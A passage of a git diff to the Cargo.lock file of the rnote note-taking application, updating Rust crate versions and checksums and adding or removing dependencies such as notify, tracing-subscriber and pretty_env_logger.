+1938,6 @@ dependencies = [ "exr", "gif", "jpeg-decoder", - "num-rational", "num-traits", "png", "qoi", @@ -2005,9 +1963,9 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.1.0" +version = "2.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +checksum = "7b0b929d511467233429c45a44ac1dcaa21ba0f5ba11e4879e6ed28ddb4f9df4" dependencies = [ "equivalent", "hashbrown 0.14.3", @@ -2015,9 +1973,9 @@ dependencies = [ [[package]] name = "indicatif" -version = "0.17.7" +version = "0.17.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb28741c9db9a713d93deb3bb9515c20788cef5815265bee4980e87bde7e0f25" +checksum = "763a5a8f45087d6bcea4222e7b72c291a054edf80e4ef6efd2a4979878c7bea3" dependencies = [ "console", "instant", @@ -2047,23 +2005,32 @@ dependencies = [ ] [[package]] -name = "instant" -version = "0.1.12" +name = "inotify" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +checksum = "f8069d3ec154eb856955c1c0fbffefbf5f3c40a104ec912d4797314c1801abff" dependencies = [ - "cfg-if", + "bitflags 1.3.2", + "inotify-sys", + "libc", ] [[package]] -name = "io-lifetimes" -version = "1.0.11" +name = "inotify-sys" +version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" +checksum = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb" dependencies = [ - "hermit-abi 0.3.3", "libc", - "windows-sys 0.48.0", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", ] [[package]] @@ -2077,13 +2044,13 @@ dependencies = [ [[package]] name = "is-terminal" -version = "0.4.9" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" +checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b" dependencies = [ - "hermit-abi 0.3.3", - "rustix 0.38.26", - "windows-sys 0.48.0", + "hermit-abi 0.3.9", + "libc", + "windows-sys 0.52.0", ] [[package]] @@ -2098,9 +2065,9 @@ dependencies = [ [[package]] name = "is_ci" -version = "1.1.1" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "616cde7c720bb2bb5824a224687d8f77bfd38922027f01d825cd7453be5099fb" +checksum = "7655c9839580ee829dfacba1d1278c2b7883e50a277ff7541299489d6bdfdc45" [[package]] name = "itertools" @@ -2131,18 +2098,18 @@ dependencies = [ [[package]] name = "itertools" -version = "0.12.0" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" dependencies = [ "either", ] [[package]] name = "itoa" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "jni" @@ -2179,30 +2146,41 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" [[package]] -name = "jobserver" -version = "0.1.27" +name = "jpeg-decoder" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c37f63953c4c63420ed5fd3d6d398c719489b9f872b9fa683262f8edd363c7d" +checksum = "f5d4a7da358eff58addd2877a45865158f0d78c911d43a5784ceb7bbf52833b0" dependencies = [ - "libc", + "rayon", ] [[package]] -name = "jpeg-decoder" -version = "0.3.0" +name = "js-sys" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc0000e42512c92e31c2252315bda326620a4e034105e900c98ec492fa077b3e" +checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" dependencies = [ - "rayon", + "wasm-bindgen", ] [[package]] -name = "js-sys" -version = "0.3.66" +name = "kqueue" +version = "1.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" +checksum = "7447f1ca1b7b563588a205fe93dea8df60fd981423a768bc1c0ded35ed147d0c" dependencies = [ - "wasm-bindgen", + "kqueue-sys", + "libc", +] + +[[package]] +name = "kqueue-sys" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed9625ffda8729b85e45cf04090035ac368927b8cebc34898e7c120f52e4838b" +dependencies = [ + "bitflags 1.3.2", + "libc", ] [[package]] @@ -2215,6 +2193,16 @@ dependencies = [ ] [[package]] +name = "kurbo" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1618d4ebd923e97d67e7cd363d80aef35fe961005cbbbb3d2dad8bdd1bc63440" +dependencies = [ + "arrayvec", + "smallvec", +] + +[[package]] name = "language-tags" version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2240,9 +2228,9 @@ checksum = "03087c2bad5e1034e8cace5926dec053fb3790248370865f5117a7d0213354c8" [[package]] name = "libadwaita" -version = "0.5.3" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2fe7e70c06507ed10a16cda707f358fbe60fe0dc237498f78c686ade92fd979c" +checksum = "91b4990248b9e1ec5e72094a2ccaea70ec3809f88f6fd52192f2af306b87c5d9" dependencies = [ "gdk-pixbuf", "gdk4", @@ -2256,9 +2244,9 @@ dependencies = [ [[package]] name = "libadwaita-sys" -version = "0.5.3" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e10aaa38de1d53374f90deeb4535209adc40cc5dba37f9704724169bceec69a" +checksum = "23a748e4e92be1265cd9e93d569c0b5dfc7814107985aa6743d670ab281ea1a8" dependencies = [ "gdk4-sys", "gio-sys", @@ -2272,18 +2260,18 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.150" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libloading" -version = "0.7.4" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f" +checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" dependencies = [ "cfg-if", - "winapi", + "windows-sys 0.48.0", ] [[package]] @@ -2294,9 +2282,9 @@ checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058" [[package]] name = "librsvg" -version = "2.57.0" +version = "2.58.0-beta.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4b6285fca2e4de40d61e398408a4cd261d475a960da58ae28d94d6352088078" +checksum = "59d441368ddd551d54ef8ebcf515cf8a22604856a66da21828fa1d57651a9f71" dependencies = [ "cairo-rs", "cast", @@ -2304,17 +2292,16 @@ dependencies = [ "data-url", "encoding_rs", "float-cmp", - "gdk-pixbuf", "gio", "glib", - "itertools 0.11.0", + "image", + "itertools 0.12.1", "language-tags", "libc", "locale_config", "markup5ever", "nalgebra", "num-traits", - "once_cell", "pango", "pangocairo", "rayon", @@ -2340,15 +2327,9 @@ dependencies = [ [[package]] name = "linux-raw-sys" -version = "0.3.8" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" - -[[package]] -name = "linux-raw-sys" -version = "0.4.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "locale_config" @@ -2375,9 +2356,9 @@ dependencies = [ [[package]] name = "log" -version = "0.4.20" +version = "0.4.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" +checksum = "90ed8c1e510134f979dbc4f070f87d4313098b704861a105fe34231c70a3901c" [[package]] name = "mac" @@ -2387,9 +2368,9 @@ checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" [[package]] name = "mach2" -version = "0.4.1" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d0d1830bcd151a6fc4aea1369af235b36c1528fe976b8ff678683c9995eade8" +checksum = "19b955cdeb2a02b9117f121ce63aa52d08ade45de53e48fe6a38b39c10f6f709" dependencies = [ "libc", ] @@ -2418,6 +2399,15 @@ dependencies = [ ] [[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] name = "matches" version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2435,15 +2425,15 @@ dependencies = [ [[package]] name = "memchr" -version = "2.6.4" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memmap2" -version = "0.8.0" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43a5a03cefb0d953ec0be133036f14e109412fa594edc2f77227249db66cc3ed" +checksum = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322" dependencies = [ "libc", ] @@ -2486,7 +2476,7 @@ checksum = "49e7bc1560b95a3c4a25d03de42fe76ca718ab92d1a22a55b9b4cf67b3ae635c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] @@ -2497,15 +2487,27 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ "adler", "simd-adler32", ] [[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "log", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] name = "moveit" version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2516,9 +2518,9 @@ dependencies = [ [[package]] name = "nalgebra" -version = "0.32.3" +version = "0.32.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "307ed9b18cc2423f29e83f84fd23a8e73628727990181f18641a8b5dc2ab1caa" +checksum = "4541eb06dce09c0241ebbaab7102f0a01a0c8994afed2e5d0d66775016e25ac2" dependencies = [ "approx", "matrixmultiply", @@ -2605,10 +2607,53 @@ dependencies = [ ] [[package]] +name = "notify" +version = "6.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6205bd8bb1e454ad2e27422015fb5e4f2bcc7e08fa8f27058670d208324a4d2d" +dependencies = [ + "bitflags 2.4.2", + "crossbeam-channel", + "filetime", + "fsevent-sys", + "inotify", + "kqueue", + "libc", + "log", + "mio", + "walkdir", + "windows-sys 0.48.0", +] + +[[package]] +name = "notify-debouncer-full" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49f5dab59c348b9b50cf7f261960a20e389feb2713636399cd9082cd4b536154" +dependencies = [ + "crossbeam-channel", + "file-id", + "log", + "notify", + "parking_lot", + "walkdir", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] name = "num-complex" -version = "0.4.4" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ba157ca0885411de85d6ca030ba7e2a83a28636056c7c699b07c8b6f7383214" +checksum = "23c6602fda94a57c990fe0df199a035d83576b496aa29f4e634a8ac6004e68a6" dependencies = [ "num-traits", "serde", @@ -2627,22 +2672,21 @@ dependencies = [ [[package]] name = "num-derive" -version = "0.4.1" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cfb77679af88f8b125209d354a202862602672222e7f2313fdd6dc349bad4712" +checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "num-integer" -version = "0.1.45" +version = "0.1.46" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" dependencies = [ - "autocfg", "num-traits", ] @@ -2659,9 +2703,9 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.17" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", "libm", @@ -2673,7 +2717,7 @@ version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ - "hermit-abi 0.3.3", + "hermit-abi 0.3.9", "libc", ] @@ -2744,9 +2788,9 @@ dependencies = [ [[package]] name = "object" -version = "0.32.1" +version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] @@ -2782,9 +2826,9 @@ checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "open" -version = "5.0.1" +version = "5.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90878fb664448b54c4e592455ad02831e23a3f7e157374a8b95654731aac7349" +checksum = "1f2588edf622de56e7a1fed57bf203344f63c03f3d43472ba0434a92373c8f27" dependencies = [ "is-wsl", "libc", @@ -2792,6 +2836,12 @@ dependencies = [ ] [[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] name = "owo-colors" version = "3.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2799,9 +2849,9 @@ checksum = "c1b04fb49957986fdce4d6ee7a65027d55d4b6d2265e5848bbb507b58ccfdb6f" [[package]] name = "palette" -version = "0.7.3" +version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e2f34147767aa758aa649415b50a69eeb46a67f9dc7db8011eeb3d84b351dc" +checksum = "ebfc23a4b76642983d57e4ad00bb4504eb30a8ce3c70f4aee1f725610e36d97a" dependencies = [ "approx", "fast-srgb8", @@ -2811,33 +2861,32 @@ dependencies = [ [[package]] name = "palette_derive" -version = "0.7.3" +version = "0.7.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7db010ec5ff3d4385e4f133916faacd9dad0f6a09394c92d825b3aed310fa0a" +checksum = "e8890702dbec0bad9116041ae586f84805b13eecd1d8b1df27c29998a9969d6d" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "pango" -version = "0.18.3" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4" +checksum = "7809e8af4df8d024a066106b72ca6bc7253a484ae3867041a96103ef8a13188d" dependencies = [ "gio", "glib", "libc", - "once_cell", "pango-sys", ] [[package]] name = "pango-sys" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5" +checksum = "f52ef6a881c19fbfe3b1484df5cad411acaaba29dbec843941c3110d19f340ea" dependencies = [ "glib-sys", "gobject-sys", @@ -2847,9 +2896,9 @@ dependencies = [ [[package]] name = "pangocairo" -version = "0.18.0" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "57036589a9cfcacf83f9e606d15813fc6bf03f0e9e69aa2b5e3bb85af86b38a5" +checksum = "6620c77967c62c7a84c6ca15ab855e8eecb248beb8ee43bc0eeaadd39123f687" dependencies = [ "cairo-rs", "glib", @@ -2860,9 +2909,9 @@ dependencies = [ [[package]] name = "pangocairo-sys" -version = "0.18.0" +version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc3c8ff676a37e7a72ec1d5fc029f91c407278083d2752784ff9f5188c108833" +checksum = "01bd0597ae45983f9e8b7f73afc42238426cd3fbb44a9cf14fd881a4ae08f1e4" dependencies = [ "cairo-sys-rs", "glib-sys", @@ -2902,9 +2951,9 @@ dependencies = [ [[package]] name = "parry2d-f64" -version = "0.13.5" +version = "0.13.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "82bb5868f03fac0eb9ff77ab24dd6c2e7606b44f0ff745784a49de4e67486e78" +checksum = "542444b3ef557470c352ca13ba34a3d5e558b34265339320b8fb560bc82c427e" dependencies = [ "approx", "arrayvec", @@ -2912,7 +2961,7 @@ dependencies = [ "downcast-rs", "either", "nalgebra", - "num-derive 0.3.3", + "num-derive 0.4.2", "num-traits", "rustc-hash", "serde", @@ -2929,6 +2978,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" [[package]] +name = "path-absolutize" +version = "3.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4af381fe79fa195b4909485d99f73a80792331df0625188e707854f0b3383f5" +dependencies = [ + "path-dedot", +] + +[[package]] +name = "path-dedot" +version = "3.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07ba0ad7e047712414213ff67533e6dd477af0a4e1d14fb52343e53d30ea9397" +dependencies = [ + "once_cell", +] + +[[package]] name = "path-slash" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3011,7 +3078,7 @@ dependencies = [ "phf_shared 0.11.2", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] @@ -3041,16 +3108,16 @@ checksum = "5be167a7af36ee22fe3115051bc51f6e6c7054c9348e28deb4f49bd6f705a315" [[package]] name = "piet" version = "0.6.2" -source = "git+https://github.com/linebender/piet?rev=88e8e6c6fe41d8c99e3bccbf3a076b3661c4472a#88e8e6c6fe41d8c99e3bccbf3a076b3661c4472a" +source = "git+https://github.com/linebender/piet?rev=02eb5f0152e893626c43980bf37eeb0ccb1acb46#02eb5f0152e893626c43980bf37eeb0ccb1acb46" dependencies = [ - "kurbo", + "kurbo 0.10.4", "unic-bidi", ] [[package]] name = "piet-cairo" version = "0.6.2" -source = "git+https://github.com/linebender/piet?rev=88e8e6c6fe41d8c99e3bccbf3a076b3661c4472a#88e8e6c6fe41d8c99e3bccbf3a076b3661c4472a" +source = "git+https://github.com/linebender/piet?rev=02eb5f0152e893626c43980bf37eeb0ccb1acb46#02eb5f0152e893626c43980bf37eeb0ccb1acb46" dependencies = [ "cairo-rs", "pango", @@ -3079,21 +3146,21 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "668d31b1c4eba19242f2088b2bf3316b82ca31082a8335764db4e083db7485d4" dependencies = [ "atomic-waker", - "fastrand 2.0.1", + "fastrand", "futures-io", ] [[package]] name = "pkg-config" -version = "0.3.27" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" +checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec" [[package]] name = "png" -version = "0.17.10" +version = "0.17.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd75bf2d8dd3702b9707cdbc56a5b9ef42cec752eb8b3bafc01234558442aa64" +checksum = "06e4b0d3d1312775e782c86c91a111aa1f910cbb65e1337f9975b5f9a554b5e1" dependencies = [ "bitflags 1.3.2", "crc32fast", @@ -3114,39 +3181,23 @@ dependencies = [ [[package]] name = "polling" -version = "2.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" -dependencies = [ - "autocfg", - "bitflags 1.3.2", - "cfg-if", - "concurrent-queue", - "libc", - "log", - "pin-project-lite", - "windows-sys 0.48.0", -] - -[[package]] -name = "polling" -version = "3.3.1" +version = "3.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf63fa624ab313c11656b4cda960bfc46c410187ad493c41f6ba2d8c1e991c9e" +checksum = "24f040dee2588b4963afb4e420540439d126f73fdacf4a9c486a96d840bac3c9" dependencies = [ "cfg-if", "concurrent-queue", "pin-project-lite", - "rustix 0.38.26", + "rustix", "tracing", "windows-sys 0.52.0", ] [[package]] name = "poppler-rs" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8eeee26af64d7c1bfdb436d831fb78e65a325ade17f380e6bee7af2bc9859b8e" +checksum = "9421853a6cc8dfaea2e31bd751fb037abdc3a727f04d0eb10fcf7061f6eff562" dependencies = [ "cairo-rs", "gio", @@ -3157,9 +3208,9 @@ dependencies = [ [[package]] name = "poppler-sys-rs" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "568f80975a5d4270c97bbfd6283f873b2204c92b67b803237c2e705fde4362a1" +checksum = "10f6737da38a7bb0126931c4a7b23b7bea517410bd48676f18af6b38c5f88d51" dependencies = [ "cairo-sys-rs", "gio-sys", @@ -3188,23 +3239,13 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" [[package]] -name = "pretty_env_logger" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "865724d4dbe39d9f3dd3b52b88d859d66bcb2d6a0acfd5ea68a65fb66d4bdc1c" -dependencies = [ - "env_logger 0.10.1", - "log", -] - -[[package]] name = "prettyplease" -version = "0.2.15" +version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae005bd773ab59b4725093fd7df83fd7892f7d8eafb48dbd7de6e024e4215f9d" +checksum = "a41cf62165e97c7f814d2221421dbb9afcbcdb0a88068e5ea206e19951c2cbb5" dependencies = [ "proc-macro2", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] @@ -3219,12 +3260,11 @@ dependencies = [ [[package]] name = "proc-macro-crate" -version = "2.0.1" +version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97dc5fea232fc28d2f597b37c4876b348a40e33f3b02cc975c8d006d78d94b1a" +checksum = "6d37c51ca738a55da99dc0c4a34860fd675453b8b36209178c2249bb13651284" dependencies = [ - "toml_datetime", - "toml_edit 0.20.2", + "toml_edit 0.21.1", ] [[package]] @@ -3253,9 +3293,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.70" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] @@ -3271,9 +3311,9 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] @@ -3341,9 +3381,9 @@ checksum = "60a357793950651c4ed0f3f52338f53b2f809f32d83a07f72909fa13e4c6c1e3" [[package]] name = "rayon" -version = "1.8.0" +version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1" +checksum = "e4963ed1bc86e4f3ee217022bd855b297cef07fb9eac5dfa1f788b220b49b3bd" dependencies = [ "either", "rayon-core", @@ -3351,9 +3391,9 @@ dependencies = [ [[package]] name = "rayon-core" -version = "1.12.0" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" dependencies = [ "crossbeam-deque", "crossbeam-utils", @@ -3361,9 +3401,9 @@ dependencies = [ [[package]] name = "rctree" -version = "0.5.0" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3b42e27ef78c35d3998403c1d26f3efd9e135d3e5121b0a4845cc5cc27547f4f" +checksum = "e03e7866abec1101869ffa8e2c8355c4c2419d0214ece0cc3e428e5b94dea6e9" [[package]] name = "redox_syscall" @@ -3376,29 +3416,44 @@ dependencies = [ [[package]] name = "regex" -version = "1.10.2" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", - "regex-automata", - "regex-syntax", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", ] [[package]] name = "regex-automata" -version = "0.4.3" +version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", - "regex-syntax", + "regex-syntax 0.8.2", ] [[package]] name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" @@ -3414,9 +3469,10 @@ dependencies = [ [[package]] name = "rnote" -version = "0.9.4" +version = "0.10.0" dependencies = [ "anyhow", + "async-fs", "base64", "cairo-rs", "fs_extra", @@ -3426,21 +3482,21 @@ dependencies = [ "gtk4", "ijson", "image", - "itertools 0.12.0", - "kurbo", + "itertools 0.12.1", + "kurbo 0.10.4", "libadwaita", - "log", "nalgebra", - "num-derive 0.4.1", + "notify-debouncer-full", + "num-derive 0.4.2", "num-traits", "numeric-sort", "once_cell", "open", "parry2d-f64", + "path-absolutize", "piet", "piet-cairo", "poppler-rs", - "pretty_env_logger", "rand", "rand_distr", "rand_pcg", @@ -3450,11 +3506,12 @@ dependencies = [ "rnote-engine", "rough_piet", "roughr", - "same-file", "serde", "serde_json", "svg", "thiserror", + "tracing", + "tracing-subscriber", "unicode-segmentation", "url", "winresource", @@ -3462,35 +3519,35 @@ dependencies = [ [[package]] name = "rnote-cli" -version = "0.9.4" +version = "0.10.0" dependencies = [ "anyhow", "atty", "clap", "dialoguer", "indicatif", - "log", "nalgebra", "open", "parry2d-f64", "rnote-compose", "rnote-engine", "smol", + "tracing", + "tracing-subscriber", ] [[package]] name = "rnote-compose" -version = "0.9.4" +version = "0.10.0" dependencies = [ "anyhow", "approx", "base64", "clap", 